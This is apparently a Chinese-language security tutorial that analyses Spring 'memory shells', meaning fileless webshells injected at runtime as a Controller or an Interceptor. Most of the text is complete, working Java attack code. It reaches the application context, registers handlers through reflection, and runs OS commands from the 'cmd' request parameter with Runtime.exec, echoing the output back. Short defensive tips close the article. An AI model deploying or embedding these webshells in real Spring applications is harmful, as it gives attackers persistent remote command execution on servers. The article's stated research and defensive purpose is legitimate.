浅析Spring类内存马
字数 1157 2025-08-24 07:48:22
Spring类内存马技术分析与实现
一、概述
Spring类内存马是一种基于Spring框架特性的无文件攻击技术,通过动态注册Controller或Interceptor实现命令执行功能。本文详细分析Controller内存马和Interceptor内存马两种实现方式。
二、环境搭建
1. 依赖配置
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.22</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
2. web.xml配置
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:SpringMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
3. SpringMVC.xml配置
<context:component-scan base-package="com.sentiment" />
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/"></property>
<property name="suffix" value=".jsp"></property>
</bean>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" />
<!-- 或者使用 -->
<!-- <mvc:annotation-driven /> -->
三、Controller内存马
1. 前置知识
获取上下文环境的四种方法:
getCurrentWebApplicationContextWebApplicationContextUtilsRequestContextUtilsgetAttribute
注意:前两个获取的是Root WebApplicationContext,后两个可以获取Child WebApplicationContext。
Context层级关系:
- Spring应用可以有多个Context
- 只有一个Root Context,其余都是Child Context
- Child Context可以访问Root Context中的bean,反之不行
- 所有Context创建后都会被添加到ServletContext中
2. 关键实现步骤
(1) 获取上下文环境
// 方法1:通过getAttribute
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
// 方法2:通过RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
(2) 定义恶意Controller
@RestController
public class InjectToController {
public InjectToController(){}
public String test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while((line = br.readLine())!= null){
str += line;
}
is.close();
br.close();
return str;
}
}
(3) 注册Controller
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 准备handler和method
InjectToController injectToController = new InjectToController();
Method method = InjectToController.class.getMethod("test");
// 创建RequestMappingInfo
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
// 注册映射
mappingHandlerMapping.registerMapping(info, injectToController, method);
3. 完整内存马实现
@RestController
public class TestController {
@RequestMapping(value="/inject", method=RequestMethod.GET)
public String inject() throws NoSuchMethodException {
// 1. 获取上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
// 2. 通过上下文获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获取自定义的controller和Method
Method method = InjectToController.class.getMethod("test");
InjectToController injectToController = new InjectToController();
// 4. 注册controller
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
mappingHandlerMapping.registerMapping(info, injectToController, method);
return "Inject Success!";
}
@RestController
public class InjectToController {
public InjectToController(){}
public String test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while((line = br.readLine())!= null){
str += line;
}
is.close();
br.close();
return str;
}
}
}
四、Interceptor内存马
1. 前置知识
Interceptor拦截器:
- 相当于过滤器,在请求前进行拦截
- 需要实现
HandlerInterceptor接口 - 必须在SpringMVC配置文件中配置
拦截过程:
- 先执行
preHandle(),返回true则继续执行 - 控制器处理完请求后执行
postHandle() - 在DispatcherServlet处理完请求后执行
afterCompletion()
2. 关键实现步骤
(1) 获取上下文和HandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
(2) 获取adaptedInterceptors属性
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>) field.get(mappingHandlerMapping);
(3) 定义恶意Interceptor
class InjectInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while((line = br.readLine())!= null){
str += line;
}
is.close();
br.close();
response.getWriter().write(str);
return false;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {}
}
(4) 注册Interceptor
MappedInterceptor mappedInterceptor = new MappedInterceptor(null, null, new InjectInterceptor());
adaptedInterceptors.add(mappedInterceptor);
3. 完整内存马实现
@RestController
public class InterceptorShell {
@RequestMapping(value="/inject", method=RequestMethod.GET)
public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
try {
// 1. 获取上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 通过上下文获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3、反射获取adaptedInterceptors属性
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>) field.get(mappingHandlerMapping);
//4、生成MappedInterceptor对象
MappedInterceptor mappedInterceptor = new MappedInterceptor(null, null, new InjectInterceptor());
// 5、添加到adaptedInterceptors中
adaptedInterceptors.add(mappedInterceptor);
return "Inject Success!";
} catch (Exception e) {
return "Inject Failed!";
}
}
}
class InjectInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while((line = br.readLine())!= null){
str += line;
}
is.close();
br.close();
response.getWriter().write(str);
return false;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {}
}
五、防御措施
- 监控
RequestMappingHandlerMapping的注册行为 - 检查
adaptedInterceptors列表的异常修改 - 限制反射操作权限
- 实施严格的输入验证和过滤
- 使用安全框架如Spring Security进行防护
六、总结
本文详细分析了Spring框架中Controller和Interceptor两种内存马的实现原理和技术细节。理解这些技术有助于安全研究人员更好地防御此类攻击,同时也提醒开发人员注意Spring应用的安全性配置。